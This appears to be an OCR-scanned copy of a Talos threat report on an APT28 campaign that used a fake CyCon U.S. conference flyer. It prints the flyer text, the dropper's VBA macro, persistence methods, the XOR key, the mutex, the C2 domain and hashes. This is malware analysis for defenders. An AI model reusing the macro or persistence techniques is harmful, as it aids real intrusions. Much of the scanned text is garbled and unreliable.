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“Cyber Conflict” Decoy Document Used In Real Cyber Conflict

By Paul Rascagneres
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The 2017 International Conference on Cyber Conflict U.S., {CyCon U.5.) will
take place 7-8 MWov 2017 at the Ronald Reagan Building in Washington D.C.

[ ]&f

CyCon U8, is a premier conference on cyber conflict, It provides a venue for
freshideas, relevant and actionable content, insight into future trends, and
access to industry, government, and military leaders, cyber innovatars, and
pioneers in the discipline. The conference promotes multidisciplinary cyber
initiatives and furthers research and cooperation on eyber threats and
opportunities.

CyCon .5, is a collaborative effort between the Army Cyber Institute at the
United States Military Academy and the NATO Cooperative Cyber Defence
Centre of Excellence. CyCon U.5. complements the CyCon Conference held
every spring in Estonia. The conference is also technically co-sponsared by
IEEE Computer Society,

CyCon U.8. 2017 Theme: The Future of Gyber Conflict

Cyberspace has emerged as the fifth domain of conflict that permeates the
other four domains of land, sea, air, and space. Cyberspace dramatically
impacts opportunities, provocations, and threats between allies, adversaries,
competitors, and industry, Cyber redefines social normative behaviors in
our societies and challenges current paradigms of conflict. The ubiguitous
nature of cyberspace combined with ernerging technologies and scientific
breskthroughs such as quanturn computing, machine learning, Big Data, and
robuotics greatly expands battlespace and even redefines the concepts of war
and peace, CyCon U.S, will explore The Future of Cyber Conffict across a
spectrumn of technical, legal, palitical, military, and economic positions and
research,

CyCon U.5. seeks technical, legal, political, military, and economic positions
and research related to The Auture of Cpber Confiict in the areas of:

«  Cyber Diplomacy

= Cybersecurity strategies and policies

« Military strategy and doctrine
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Update 10/23: CCDCOE released a statement today on their website

Introduction

Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka Tsar Team, Sofacy,

APT28, Fancy Bear...). Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S.

conference. CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military
Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre
of Excellence. Due to the nature of this document, we assume that this campaign targets people with an interest in
cyber security. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day,
it simply contains a malicious Visual Basic for Applications (VBA) macro.

The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has been used by Group
74 for years and it is composed of 2 files: a dropper and a payload. The dropper and the payload are quite similar
to the previous versions but the author modified some public information such as MUTEX name, obfuscation

keys... We assume that these modifications were performed to avoid detection based on public IOCs.

The article describes the malicious document and the Seduploader reconnaissance malware, especially the

difference with the previous versions.

Page 1 of 9


https://ccdcoe.org/cycon-us-website-info-used-decoy-malicious-campaign.html
http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx
http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx

http://blog.talosintelligence.com /2017 /10 /cyber-conflict-decoy-document.htm|

Malicious Office Document

Decoy Document

The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename

Conference_on_Cyber_Conflict.doc. It contains 2 pages with the logo of the organizer and the sponsors:
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The 20L7 Internaticnal Conference on Cyter Confict LS. (CyCon US.) will
take place 7.8 Mow 2047 at the Ronald Reagan Bulding in Washington 0.0,

CyCon .S, is a premier conference oncrber conflict. It provides a venue for
fresh ideas, refevant and achonable content, insight sito future trends, and
ECCESES B iNCUStry, government, and lnllt.!r,' leaders, cyber innovators, and
pionesrs in the discoling, The confereroe promotes mnlbdi:dplinan- cplbEr
initiatives snd furthers research ard cooperetion on cyberthrests and
opportunities,

CyCon .S, is a pallaborative effort betmesn the Army Cyber nsttute ot the
United States Military Acadamy and the NATO Coaperabve Cybiar Deferics
Cantre of Expallance, Cydon L5, complements the CyCan Confarence hald
WLRECE SRR i E'WQ_ml- The conberincs o alse techroealy co-pponsored by
IEEE Conmputer Scoiety.

CyCon U8, 2017 Theme: The future of Cpber Conflict

Cybarsnsce has smierged ss the fifth domain of conflict that permestes the
gther Four dormaing of land, dea, air, #0d dpace, Cybaripads dramabically
impacts uppmnm" pmuncatmn:,andthman hetween allies, adversanes,
umuhwﬁ'-. & l“ﬂ\li!l"r Cybar redefings social nosrmative hetaviors o
our setieties ard challenges current paradigrs of cordlict. The ubiguitous
nature of cpberspace combined with emerging technologies and scientific
brasktheoughis such as quantunn computing, mschone l=sming, Big Dats, and
rebatics greatly sepands sattespace and sven redefines the conceots nf War
and peacs, Cylon U5, will xplors M fosges of Cpber Conflicr sorocs &
!-M&rul;:\ of techrucsl, legal, polites], military, and scanoaic posibions and
reszarch,

CyiCon WS, seeks technizal, legal, paltical, military, and ezonomic positons
and research related to The foture of Crber Confict in the areas of;

- Cyber Drplomacy

= Cybarsscurity destegies and policies

= Miltary steategy and doctrine

= Government, industry, and acadera cooperetion
= Cyber wnrl:fum:dn'\-tlnpmtnk ard resdiness

= Dest practices in cyber education

= Inteligence fusion and sivational awareness

lnm-nr.?tlnnof miachine lsarming snd Dats Sciencs inta cpber
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o Law and ethics m crberspacs

= Information shamng

»  Cyber deterrencaiciber pamer

«  Cybersecurty training and sosrcisas

= Emargng opportuntios, ks, threals, s sulnarabiliies
o Gapurity prachos For govesamient and induitrg

«  Thieat counbermeasuanes

CyConLLE. i jointly organized by the army Cyber Institute at the

United States Miktary Academy and the NATO Cooperative Cypher
Defence Centraof Excalence = Tallinn, Estonia.
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Due to the nature of the document, we assume that the targeted people are linked or interested by the cybersecurity

landscape. The exact content of the document can be found online on the conference website. The attackers

probably copy/pasted it into Word to create the malicious document.

VBA

The Office document contains a VBA script. Here is the code:
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Tub AutcOpan i)
mRaCaTh
Fnd Suk

EFrivate Funotion DeoodsBasscd{bas=E4) Aa Byted)

Comat decodeTable = "ABCTEFGHIJRLMRGEORATUVHEY Zabode [ghi jkKlenopges tuvwny 20l 234538 TEI+/™
[:: REDRCTED ...]

Seccdeaneid = decodediirLes
End Functian

Privats Aul Exacuta (]
Siim Pakk A&n SkTing
Dim FileMem s Tong
Dim Bind) As Byte
Dim owdlime As Aveing
Conat HIDOEH MINDGN = 1
atrfanpute: = "

"sxtract and deccds encocded file

subjack = ActivabDocumant.PuiltlnDocunactPropartins. ITten (faukijace®)
Subjsct = Right (Subjsct, IaniSubjsck) 50}
Company = ActiveDocument.BuiltInDocumentPropsrties, Item (" Company™]
Company = Bight (Company, Len(Companyl - 50}

Categoey = Acbivelbocusmsnt.Buile lnbesusentPropertios. [Lem| "Categoey "]

Categeey = Right {Cakegozy, Len{Categecyd - 501
Hyparlink_kass = AckiveDocumant.BailtIncCoconantPropartiss. Dhem maclink baxa®)
HAyparlink bams = Right [Hyparlink bans, Lan|Hyparlink hanss) 500

Comrmnba = EctiveDooumsnt, BuiltInhooument Fropertiss. Item| "Commanta™]
Copmsnbs = Right|Comments, LeniComwsnts) - 50]1

base6d = Subject + Company + Category + Hyperlink base + Commenta
bin = pecodebaaséd {basaid]

“amva dec
Path = Envirca{"LOCALAPFDATA®| + %" + "natwf® + ®.dat”
PathPld = Emviran ("LOCARLAFEOATA®] & "\" & "patwi® & ", 411"
PathPldBEE = Emwirom ("LOCALAFEDATAS] + "4%" 4+ "netwE™ + " ,.bat™

If Day(PathPld, wbBidden} <> " Then
Exit Sub
End If
FilaMue = FraaFila
Opan Path For Binery Accsss Write An §riledun
Put: IFileRum, 1, bin
Closs §FileNun

cmdLaps = "CiWT o+ TERET 4+ "Wim™ o+ TERET = "dow"™ + "EEET o+ Tal@y" ¢ TERET 4+ "sve" + "HRET -
"mIZW" o+ "rusm® & TERET o+ "ALLT o+ T3IT 4 TET o+ Teme T o4 "TUT o4 patk o+ TUTT o+ TERET 4
" ElpEee®
Wordanic. [Fhall] Replace {emdLine, "#7, *%j
Tf Dir(PathPld] < ** Than
Ssthttr PathPld, =hiliddsn
End Tt

If Daix(PathPldEt) => " Then
gathtrr PathPldBe, vhiiddes
End 1L

f DiriFath] =* *" Tha=
Eill Fath
End Tf

End Suk

The goal of this code is to get information from the properties of the document ("'Subject", "Company",

"Category", "Hyperlink base" and finally "Comments"). Some of this information can be directly extracted from

the Windows explorer by looking at the properties of the file. The "Hyperlink Base" must be extracted using

another tool, strings is capable of obtaining this by looking for long strings. Pay close attention to the contents of

these fields as they appear base64 encoded.
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B 025be1b3b2fIe00be00fa3bceal879f.doc Properties

General Secuity Custom Details  Previous Versions

Property Walue &
Description

Title

Subject TVqRAAMAAAAEARAR/ABAALQAA. .

Taos

Categories EFKF// Aeg AAADORAX A /+22 AN .

Commerts FUTBiIHXYi/joBjeh Yk AcOfS130RKK...
Origin

Authors Rafael Moon

Last saved by Mick Dasmaiji

Revigion number 7

Wersion number

Program name  Microsoft Office Word

Compary TZBkB1BYADALs) fos Aok DgdMC ..
Manager

Contert created 03102017 03:36

Date last saved 040720017 16:20

Last prirted

Total editing time  02:46:00 hd

Bemove Properties and Personal Information

Cancel Aoy

This extracted information is concatenated together to make a single variable. This variable is decoded with the
base64 algorithm in order to get a Windows library (PE file) which is written to disk. The file is named netwf.dat.
On the next step this file is executed by rundll32.exe via the KlpSvc export. We see that this file drops 2 additional
files: netwf.bat and netwf.dll. The final part of the VBA script changes the properties of these two files, setting
their attributes to Hidden. We can also see 2 VBA variable names: PathPld, probably for Path Payload, and
PathPldBt, for Path Payload Batch.

Seduploader Variant

Dropper Analysis

As opposed to previous campaigns performed by this actor, this latest version does not contain privilege escalation

and it simply executes the payload and configures persistence mechanisms. The dropper installs 2 files:

e netwf.bat : executes netwf.dll
o netwf.dll : the payload
The dropper implements 2 persistence mechanisms:

o HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file
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e COM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3D-C4579291692E}, the CLSID
of the class MMDeviceEnumerator.

These 2 techniques have also been previously used by this actor.

Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM
Object hijack is performed. In this case, explorer.exe will instance the MMDeviceEnumerator class and will

execute the payload.
Payload Analysis
The payload features are similar to the previous versions of Seduploader. We can compare it to the sample

€338d49c270baf64363879e5eecb8fabbdde8ad9 used in May 2017 by Group 74. Of the 195 functions of the new
sample, 149 are strictly identical, 16 match at 90% and 2 match at 80%:

Lime: Address Mame Address 2 Mame 2 Ratio EBlacks 1 BBlocks 2 Description

1000 1000

Sama order and hash
Same order and hash
Same onder and kash
Same onder and hash
Samae order and hash
Same order and hash
Sams onder and hash
Same onder and hash
Same order and hash
Same order and hash
Same order and hash
Same onder and hash
Same onder and hash
Same order and hash
Same onder and hash
Same onder and hash
Same order and hash

T

sub_100035F2
AlocstionHesp

11
5
11
1
1
1
1
1
1
7
1
3
1
4
2
T

g = En B
A ST I T

"Linc1 of 143

In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was
executed in the Office word process. In this campaign, adversaries did not use any exploit. Instead,the payload is

executed in standalone mode by rundll32.exe.

Adversaries also changed some constants, such as the XOR key used in the previous version. The key in our

version is:

key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64"

The MUTEX name is different too: FG0OnxojVs4gL.BnwKc7HhmdKOh

Page 6 of 9


https://msdn.microsoft.com/en-us/library/windows/desktop/dd371399(v=vs.85).aspx

http://blog.talosintelligence.com /2017 /10 /cyber-conflict-decoy-document.htm|

I

; Attributes: bp-based frame
MutexCreation proc near

arg_8= dword ptr B8

push ebp

mov ebp, esp

push ebx

push esi

push edi

push 14k

push offset unk_188871D00 ; FGRenxojVs4gLBnwkc7Hhmdk@h
call Decode

pop eCx

pop eCx

mov esi, eax

push esi 3 lpName

push 1 3 bInitialOwner
push @ 3 lpMutexattributes
call ds:CreateMutexd

mow edi, eax

call ds:GetlLastError

push esi ; lpMem

mov ebx, eax

call sub_ 18883AC4

pop BCX

test edi, edi

jz short loc_l@882F48

Here are some of the Seduploader features:

e Screenshot capture (with the GDI API);

 data/configuration exfiltration;

e Execution of code;

 File downloading;
The Command & Control (CC) of the analysed sample is myinvestgroup[.Jcom. During the investigation,
the server did not provide any configuration to the infected machines. Based on the metadata of the Office
documents and the PE files, the attackers had created the file on Wednesday, the 4th of October. We can

see, in Cisco Umbrella, a peak in activities 3 days later, Saturday the 7th of October:

DNS queres

5 g

Conclusion
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Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the
targets. This campaign has most likely been created to allow the targeting of people linked to or interested by
cybersecurity, so probably the people who are more sensitive to cybersecurity threats. In this case, Group 74 did
not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office
document. Due to this change, the fundamental compromise mechanism is different as the payload is executed in a
standalone mode. The reasons for this are unknown, but, we could suggest that they did not want to utilize any
exploits to ensure they remained viable for any other operations. Actors will often not use exploits due to the fact
that researchers can find and eventually patch these which renders the actors weaponized platforms defunct.
Additionally the author did some small updates after publications from the security community, again this is
common for actors of this sophisticated nature, once their campaigns have been exposed they will often try to
change tooling to ensure better avoidance. For example the actor changed the XOR key and the MUTEX name.

We assume that these modifications were performed in order to avoid detection based on public IOCs.

Coverage

Additional ways our customers can detect and block this threat are listed below.

AMP
CloudlLock
oS

Emzil Security

MNetwork Security

Threat Lrid

Umbrella

i
wWes

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these

threat actors.
CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such asNGFW,NGIPS, andMeraki MX can detect malicious activity associated with

this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
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Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs,

whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack

available for purchase on Snort.org.

I10Cs

Files

Office Documents:

o c4bel5f9ccfect7a463f3bld4al7e7b4f95de939e057662c3f97b52f7fa3c52f

e e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae

o efb235776851502672dba5ef45d96cc65cb9ebbalb49949393a6a85b9c822f52 Seduploader Dropper:
e 522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805 Sedupload Payload:

o ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09ade3dd18

Networks

CC:

e myinvestgroup[.]Jcom

Source: http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
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